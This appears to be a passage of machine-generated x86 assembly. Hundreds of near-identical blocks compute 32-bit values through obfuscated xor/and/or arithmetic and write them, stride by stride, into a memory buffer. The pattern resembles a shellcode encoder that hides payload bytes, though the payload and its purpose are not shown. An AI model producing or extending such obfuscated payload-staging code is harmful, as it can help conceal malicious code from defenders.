mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c1eecd3
and eax, 0xe208010
or eax, 0x20104043
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d324635
and eax, 0x57019d0a
and eax, 0x7008000
or eax, 0xd82b597c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e9ac7d
and eax, 0x4a3d925
or eax, 0x140202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5840a4b5
xor eax, 0x1a4f7d16
and eax, 0x124ec512
or eax, 0x18002c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x390db9fc
and eax, 0x384837bc
or eax, 0x40200000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f2e7bbd
and eax, 0x692419f3
and eax, 0x21001181
or eax, 0x2190000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7997ac2b
and eax, 0x6189b4a2
or eax, 0x80204004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ad0e8ce
and eax, 0x21301448
or eax, 0x54020303
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36862943
or eax, 0xf8d66a
and eax, 0x20d28303
or eax, 0x3012004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x680ef9c0
xor eax, 0x74a86619
and eax, 0x84098cc
or eax, 0x20080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69f075d7
xor eax, 0x47244df5
and eax, 0x4802020
or eax, 0x70020d01
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa9648a8
and eax, 0x70042109
or eax, 0x1298864
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21779223
and eax, 0x5153b94b
or eax, 0xa004480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bb19a7c
or eax, 0x63eb9d6d
and eax, 0x21001149
or eax, 0x84040282
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbacb6fa
and eax, 0x8e802431
or eax, 0x114418ca
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29524c83
or eax, 0x2e4e5dad
and eax, 0x1cc47189
or eax, 0x41018000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa3fdddc
and eax, 0x14008
or eax, 0xa6a80616
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29329c0b
and eax, 0x8d199004
or eax, 0x404000a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1fbb82ce
and eax, 0x76aa93c7
and eax, 0x4008080
or eax, 0x62023851
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4859b86d
or eax, 0x2baea353
and eax, 0x21889812
or eax, 0x4404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x541dbb38
and eax, 0x7d44bda5
and eax, 0x41003104
or eax, 0x80700281
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52632be2
and eax, 0x29376631
and eax, 0x100021
or eax, 0x6c8c1ccc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfdcd5fa
and eax, 0x60004112
or eax, 0x8c0902c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5331c252
and eax, 0x117ddb3d
and eax, 0x11188008
or eax, 0xa2046010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa312c9a
and eax, 0x2c0dbf2a
and eax, 0x8050c02
or eax, 0x17223040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x618dc87
and eax, 0x193f4080
or eax, 0x44c00310
mov dword [ebx], eax
add ebx, ecx
and eax, 0x453cdf9d
and eax, 0x4d3113a2
and eax, 0x4200300
or eax, 0x823c29
mov dword [ebx], eax
add ebx, ecx
and eax, 0x544183ff
and eax, 0x4000329
or eax, 0xe83a2010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x325ee2de
or eax, 0x659a928a
and eax, 0xda065260
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13e893d7
or eax, 0x10a577db
and eax, 0x122126c2
or eax, 0xc8588004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14e476e5
and eax, 0x4d466d4d
and eax, 0x46005
or eax, 0xa29109b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4afb2ad0
and eax, 0x910010
or eax, 0x1964156a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10f2d39d
or eax, 0xf46115
and eax, 0x1084011d
or eax, 0x260b8ee0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11900d35
and eax, 0x41800c0
or eax, 0x50a03416
mov dword [ebx], eax
add ebx, ecx
and eax, 0x253d2fb5
and eax, 0x3ffdaa80
and eax, 0x80000
or eax, 0x900c353
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8e59b4e
and eax, 0xc4004c
or eax, 0x340020a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b9949d0
or eax, 0x1fd3717a
and eax, 0x1bd27138
or eax, 0x80208a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x140d6e36
and eax, 0x190b2bab
and eax, 0x11092120
or eax, 0x6744495
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19089ecd
or eax, 0x3be971
and eax, 0x11326551
or eax, 0x4e040000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d9ab912
and eax, 0xa4d403
or eax, 0xe4422334
mov dword [ebx], eax
add ebx, ecx
and eax, 0x628c536e
and eax, 0x60805320
or eax, 0x5608490
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36d642c7
or eax, 0x1f14c2b1
and eax, 0x16364111
or eax, 0x80c12800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b515a6d
and eax, 0x1a03378
or eax, 0x42090482
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x459fcd64
xor eax, 0x329709d2
and eax, 0x24a07000
or eax, 0xca420810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79cc887d
and eax, 0x1243028
or eax, 0x8510f12
mov dword [ebx], eax
add ebx, ecx
or eax, 0x587bec27
xor eax, 0x64afbd7f
and eax, 0x2c800000
or eax, 0xa3517
mov dword [ebx], eax
add ebx, ecx
or eax, 0x436610b4
xor eax, 0x42c8189f
and eax, 0x24002920
or eax, 0x52814287
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27247e60
and eax, 0x2000
or eax, 0x5d1156
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2191b9c1
and eax, 0x540219b3
and eax, 0x1893
or eax, 0x44e8c048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14b8b817
and eax, 0x4000004c
or eax, 0x8faf8621
mov dword [ebx], eax
add ebx, ecx
or eax, 0xbc1223f
and eax, 0x474ea424
or eax, 0x10101100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e47f733
and eax, 0x37382322
and eax, 0x3182002
or eax, 0x6823dc15
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45f0bd35
and eax, 0x4ec0a902
or eax, 0x10040040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f796986
and eax, 0x4400002
or eax, 0x1102d248
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72143c5f
and eax, 0xa
or eax, 0x42128b30
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a945752
and eax, 0x24a6a025
and eax, 0x60020
or eax, 0xe8392182
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7dd1523
xor eax, 0x293b90e
and eax, 0x282b828
or eax, 0x41514101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36ada475
and eax, 0x684da5d5
and eax, 0x480454
or eax, 0x9b11c028
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38e94aaa
or eax, 0x7e269d2a
and eax, 0x7512132c
or eax, 0x410000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7df77b08
and eax, 0x8844020
or eax, 0xb4508089
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c5ba5dd
and eax, 0x578773c3
and eax, 0x50000
or eax, 0x9a0086b7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x473c1999
or eax, 0x653f0577
and eax, 0x293c1445
or eax, 0xc06080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d72c80a
and eax, 0x65243849
or eax, 0x2010200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a92959a
xor eax, 0x5e2057b0
and eax, 0x18200328
or eax, 0x62550801
mov dword [ebx], eax
add ebx, ecx
and eax, 0x263efaf
and eax, 0x2000001
or eax, 0xa58090d4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x766f9140
and eax, 0x5bd4b19d
and eax, 0x2008000
or eax, 0xa988476f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22904ec6
and eax, 0x2004202
or eax, 0x81b2188
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64bcda2b
or eax, 0x7ccdf3bd
and eax, 0x4c195330
or eax, 0x81020040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6680a405
or eax, 0x668945ed
and eax, 0x4080581
or eax, 0x68200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x241554d
or eax, 0x22593982
and eax, 0x21bc34f
or eax, 0x8000020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ba84c1c
and eax, 0x21eb506c
and eax, 0x8402c
or eax, 0x4800b782
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27605989
xor eax, 0x1cf36ef1
and eax, 0x41121046
or eax, 0x8002e20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7064ea17
and eax, 0x444460
or eax, 0x6800202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d4d93e9
and eax, 0x4cf30966
and eax, 0x810002
or eax, 0x361ee0d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ada61cb
and eax, 0x7044001d
or eax, 0x226422
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3cbcadb7
and eax, 0x341664af
or eax, 0x83000200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33c78607
and eax, 0x408020
or eax, 0xa061903
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c735b56
and eax, 0x4000230
or eax, 0x48c03980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59e46523
and eax, 0x4ba80096
and eax, 0x80
or eax, 0x8857cf0c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31f8d91f
and eax, 0x29010602
or eax, 0x40e020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f4c8ceb
xor eax, 0x53f5fb59
and eax, 0x70844d6b
or eax, 0x81428004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x307bf927
and eax, 0xc022e423
or eax, 0x6000280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45f01246
and eax, 0x804204c0
or eax, 0x540c0802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b551856
xor eax, 0x7ffe284f
and eax, 0x66102005
or eax, 0x401fa2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x596b67b
and eax, 0x103001
or eax, 0x24a0190
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6410c6d0
or eax, 0x3138d31b
and eax, 0x122ae659
or eax, 0x888100a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7146442
xor eax, 0x42562a09
and eax, 0x45604c52
or eax, 0x20061308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ad9a25f
and eax, 0x1cf08562
and eax, 0x18a00000
or eax, 0x81035894
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a97c5d9
xor eax, 0x6e6c6e4d
and eax, 0x14500310
or eax, 0x2020004d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e2588bd
and eax, 0x1a510140
or eax, 0x80a04409
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55327822
and eax, 0xd5d14543
or eax, 0xc0284
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59e0d4d4
and eax, 0x2e6fa9c3
and eax, 0x40103
or eax, 0xc20252e4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c34460
xor eax, 0x50c376d0
and eax, 0x11000051
or eax, 0x6a480c88
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76604196
xor eax, 0x3a4f8184
and eax, 0x80c0104
or eax, 0x90901e08
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e552a12
or eax, 0x73adc516
and eax, 0xf2a5750c
or eax, 0x8120040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49d5268f
and eax, 0x922240c1
or eax, 0x95a420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b1e4ec9
and eax, 0x824a448
or eax, 0x20001106
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17654fea
and eax, 0x240500
or eax, 0x929ae084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f65c806
and eax, 0x17718084
or eax, 0x20001031
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57e24d12
and eax, 0x10600000
or eax, 0x208fd926
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68d4e8de
xor eax, 0x2258374e
and eax, 0x68420404
or eax, 0x598d109
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24f435cd
and eax, 0x410e4080
or eax, 0x611162d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65d47fca
and eax, 0x1045408
or eax, 0xb24b2923
mov dword [ebx], eax
add ebx, ecx
or eax, 0x23a46b95
and eax, 0x7d62102d
and eax, 0x100d
or eax, 0x44184550
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x563ed805
xor eax, 0x45ad900b
and eax, 0x16081442
or eax, 0x34628c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15c9437a
and eax, 0x16282060
or eax, 0x88000001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7bda762a
and eax, 0x61205649
or eax, 0x120c0110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7fae829a
or eax, 0x582907d9
and eax, 0x48a9243
or eax, 0x21500820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d4b0566
xor eax, 0x34bcc2a8
and eax, 0x80401
or eax, 0xa0808000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59b96168
and eax, 0x800000
or eax, 0xe172d43f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e7b3061
and eax, 0x438c3df5
and eax, 0x1802454
or eax, 0x4c05d3a9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76f4f22f
and eax, 0x404722c
or eax, 0xb720c40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31320e52
and eax, 0x1320c40
or eax, 0xe0c471a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a08aca9
and eax, 0x394d3057
and eax, 0x2000
or eax, 0x11ecca19
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25f12e6f
or eax, 0x5f701a1e
and eax, 0x1909611
or eax, 0x80000080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x532065b7
or eax, 0x22b9adf1
and eax, 0x61886795
or eax, 0xc020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74dad1d7
and eax, 0x50505556
or eax, 0x50020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11ecc36c
and eax, 0x41101010
or eax, 0x16424041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3112f85f
and eax, 0x1105050
or eax, 0x8649298a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32396ffc
xor eax, 0x3ae7a000
and eax, 0x89868204
or eax, 0x50000080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43e332cb
and eax, 0x9a40800d
or eax, 0x64984580
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6de01056
xor eax, 0x4c95e5e6
and eax, 0x99ad1005
or eax, 0x42c940
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe606ed7
xor eax, 0xfbc9d15
and eax, 0x3c0c440
or eax, 0xf8230aae
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x516fce2f
and eax, 0x2880040
or eax, 0x41705d1e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43c3ba52
and eax, 0x2c01842
or eax, 0x94394404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4baf4182
and eax, 0xdc560884
or eax, 0x2a94028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1027654
or eax, 0x16fd2ac1
and eax, 0x4ee614dd
or eax, 0x20000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75da3b45
and eax, 0x342418
or eax, 0x64804004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22fe12cb
and eax, 0x800000
or eax, 0x194b4644
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ed24154
or eax, 0x4d2f470d
and eax, 0x32264451
or eax, 0x800000a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3615b53f
and eax, 0xb005a124
or eax, 0x9c80000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3940a82a
and eax, 0x1940a000
or eax, 0xc2931205
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bda9875
and eax, 0x5b49aa31
or eax, 0x8a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4224f345
and eax, 0x4d0b2a
or eax, 0x24000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e7d5010
xor eax, 0x13b4f97e
and eax, 0x441596c
or eax, 0x40040280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x246d9c1c
and eax, 0x24289ed4
or eax, 0x3902003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d990f1a
and eax, 0x4021a2d3
or eax, 0x90000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x796b2c38
and eax, 0x71422ec1
or eax, 0x5000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ada2b81
or eax, 0x468c0840
and eax, 0x44840500
or eax, 0x906302b1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58982775
and eax, 0x45c0004
or eax, 0x42800319
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f3326d3
or eax, 0x658c44ba
and eax, 0x26984010
or eax, 0x98221800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x115b28e8
and eax, 0xa0000
or eax, 0xe3a4b258
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3080ca62
xor eax, 0x2e1a7e01
and eax, 0xa883c01
or eax, 0x8064020c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7922a701
xor eax, 0x7ba8ef8f
and eax, 0x80060000
or eax, 0x4ea10818
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc9b2345
xor eax, 0x203d1aa4
and eax, 0xc2013101
or eax, 0x15040602
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a8d5890
and eax, 0x89880593
or eax, 0x10570040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fbee4dd
and eax, 0x8200a106
or eax, 0x8860a41
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f6bd090
and eax, 0x85894815
or eax, 0xa108408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3dd3638a
and eax, 0xa040a490
or eax, 0x40250008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69efa37b
and eax, 0xe16e82f0
or eax, 0x12105800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ea28a70
and eax, 0x40008240
or eax, 0xa011748a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9d13f94
and eax, 0x3600
or eax, 0x93c60047
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d46c3e7
and eax, 0x20041
or eax, 0x20b16500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x84ccb2c
and eax, 0x8182868
or eax, 0x94000110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x161708af
xor eax, 0x51655529
and eax, 0x4348743c
or eax, 0x20118000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x638a00b5
and eax, 0x3080010
or eax, 0x775441
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c1f5292
xor eax, 0x6cc17a62
and eax, 0x409a0200
or eax, 0x1200c188
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67400202
xor eax, 0x13ba6919
and eax, 0x26600080
or eax, 0xd91b550c
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa8078d2
and eax, 0x1b00d0a4
and eax, 0x2001080
or eax, 0x15280b1f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x476db7ee
and eax, 0x5000102
or eax, 0x7044e051
mov dword [ebx], eax
add ebx, ecx
and eax, 0x214e959b
and eax, 0x5813fa6a
and eax, 0
or eax, 0x5a410dd5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21e227e7
and eax, 0x41632596
or eax, 0x8008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ca24899
or eax, 0x23b943dc
and eax, 0x1f89ef81
or eax, 0x80041000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d6c4702
xor eax, 0x669ee934
and eax, 0x911100a0
or eax, 0x4684e048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ac820de
xor eax, 0x27b08c4a
and eax, 0x20108400
or eax, 0x8048110d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42dda63d
xor eax, 0x647f8afa
and eax, 0x200400d6
or eax, 0x8150c100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26a9657e
and eax, 0x466fe790
and eax, 0x6682400
or eax, 0xb0924107
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4586451d
or eax, 0x3011c013
and eax, 0x8061600a
or eax, 0xc021d64
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b220542
xor eax, 0x3dc4282f
and eax, 0x8a855003
or eax, 0x25320584
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5936aab2
and eax, 0x32016011
or eax, 0x91600c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e557067
and eax, 0x1e565032
or eax, 0x40080608
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75e18974
and eax, 0x5dbbd83d
and eax, 0x10a3d034
or eax, 0x22040203
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4267f7dc
or eax, 0x7f4f85ba
and eax, 0x436f428e
or eax, 0x80102040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8ad20f5
and eax, 0xa3222cb
or eax, 0x14001100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77ce25f8
and eax, 0x319e139b
or eax, 0x8001c800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7116444e
and eax, 0x81859646
or eax, 0xa200020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d6fca3f
xor eax, 0x559403
and eax, 0x101f8842
or eax, 0x9203320
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55a93cef
and eax, 0x48040108
or eax, 0x91404040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36647ec1
and eax, 0x27000ec8
or eax, 0x28000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7639b203
or eax, 0x1a8dfe39
and eax, 0x61b76ecb
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62c6a02f
xor eax, 0x4580be41
and eax, 0x24021408
or eax, 0x4a182100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c3b6bd0
and eax, 0x44020000
or eax, 0x314502e6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x667398fe
and eax, 0x604100c2
or eax, 0x103cb919
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18d23be3
or eax, 0x6a7ceec4
and eax, 0x6a85cc68
or eax, 0x81001101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x143827a
and eax, 0x4b874478
or eax, 0x14002080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76a078d5
or eax, 0x6765680b
and eax, 0xc443400
or eax, 0x10808050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cb47ce3
and eax, 0x6d981d6b
and eax, 0x20100022
or eax, 0xc14af348
mov dword [ebx], eax
add ebx, ecx
or eax, 0x318bb1e6
and eax, 0x748be6bb
and eax, 0x100be2a2
or eax, 0x5341911
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19ad3585
and eax, 0x1202000
or eax, 0x6e504802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fc3f84
and eax, 0x7302000
or eax, 0xc446f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b69afb1
and eax, 0x62053ed1
and eax, 0x600428d1
or eax, 0x19080004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46f0a56b
or eax, 0x7508a57d
and eax, 0x20000065
or eax, 0x2045800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a8b4ac3
and eax, 0x70cee02c
and eax, 0x408c0004
or eax, 0x19515ad8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18ac81ef
and eax, 0x18800040
or eax, 0x62118823
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75290d93
and eax, 0x5c190063
or eax, 0x42700c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56fa133d
and eax, 0x6c1f877d
and eax, 0x10110
or eax, 0xf584ec83
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3593c9bc
xor eax, 0x6be37769
and eax, 0xa9914242
or eax, 0x1400a0a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7eff5128
and eax, 0xf50ff342
or eax, 0x14
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1aed9fe2
or eax, 0x2b7fc618
and eax, 0x1a9100
or eax, 0x2805
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72b6c3dc
or eax, 0x60b1810
and eax, 0x190800
or eax, 0x3164202a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e65d219
or eax, 0x5f5b701e
and eax, 0x4341e828
or eax, 0x80040180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b2c5763
and eax, 0x44100
or eax, 0x686ab0de
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3df7ebde
and eax, 0x14eabb8c
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60b4eda6
and eax, 0x4f82504
or eax, 0x3010011
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb7a241e
or eax, 0x216c50ef
and eax, 0x4f571e7
or eax, 0x50000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ee6ab23
and eax, 0x52fc3c91
and eax, 0x603000
or eax, 0x290bc352
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14994a55
and eax, 0x2de00007
or eax, 0xc00d02e8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41d1ed46
or eax, 0x261893da
and eax, 0xe8703110
or eax, 0x10020000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x642f0fee
and eax, 0xc002e66
or eax, 0x42a2c101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10e64372
and eax, 0x5d735358
and eax, 0x18204100
or eax, 0x2008c88
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53b82ef1
and eax, 0x12000000
or eax, 0xc92f21c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x154742f2
or eax, 0x3ff07eee
and eax, 0x15f0a62c
or eax, 0xa0010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bfda146
or eax, 0x3fd44c85
and eax, 0x619102ec
or eax, 0xb000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x476c936d
xor eax, 0x68001c2e
and eax, 0x8000e00
or eax, 0x67b4025
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4da88fe1
xor eax, 0x6fd0d5c7
and eax, 0x28021002
or eax, 0x2fc6af4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51654e37
and eax, 0x830400
or eax, 0x80204328
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17bdff50
and eax, 0x908ff768
or eax, 0x20000084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73dfdd35
and eax, 0x80502810
or eax, 0xa5124
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c2191d7
xor eax, 0x4e50e42b
and eax, 0x22b00c0
or eax, 0x5c0c002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32a3e152
and eax, 0x20000
or eax, 0x94002104
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd4668ff
xor eax, 0x5ac7ffef
and eax, 0x12814521
or eax, 0x81320004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c763da7
or eax, 0x7f617726
and eax, 0xab103503
or eax, 0x8048
mov dword [ebx], eax
add ebx, ecx
or eax, 0x465ddaa9
and eax, 0x8601f362
or eax, 0x10800010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x171931d1
and eax, 0x81884222
or eax, 0x44463140
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcc8f199
or eax, 0x2ddf575a
and eax, 0x409eb0c9
or eax, 0x200004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b7a782a
and eax, 0x16310314
and eax, 0
or eax, 0x15869d2c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ee6a25e
and eax, 0x6cd4b53d
and eax, 0x8849018
or eax, 0x91104040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x272eb3a1
and eax, 0x8c068261
or eax, 0x40410800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a8f0a43
or eax, 0x447b0cdd
and eax, 0xe6e80c8c
or eax, 0x8044200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f7dd3b
and eax, 0x7e7d5804
and eax, 0x2c240000
or eax, 0xa3f9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ccadb21
and eax, 0x61179e7b
and eax, 0x20000231
or eax, 0x47494486
mov dword [ebx], eax
add ebx, ecx
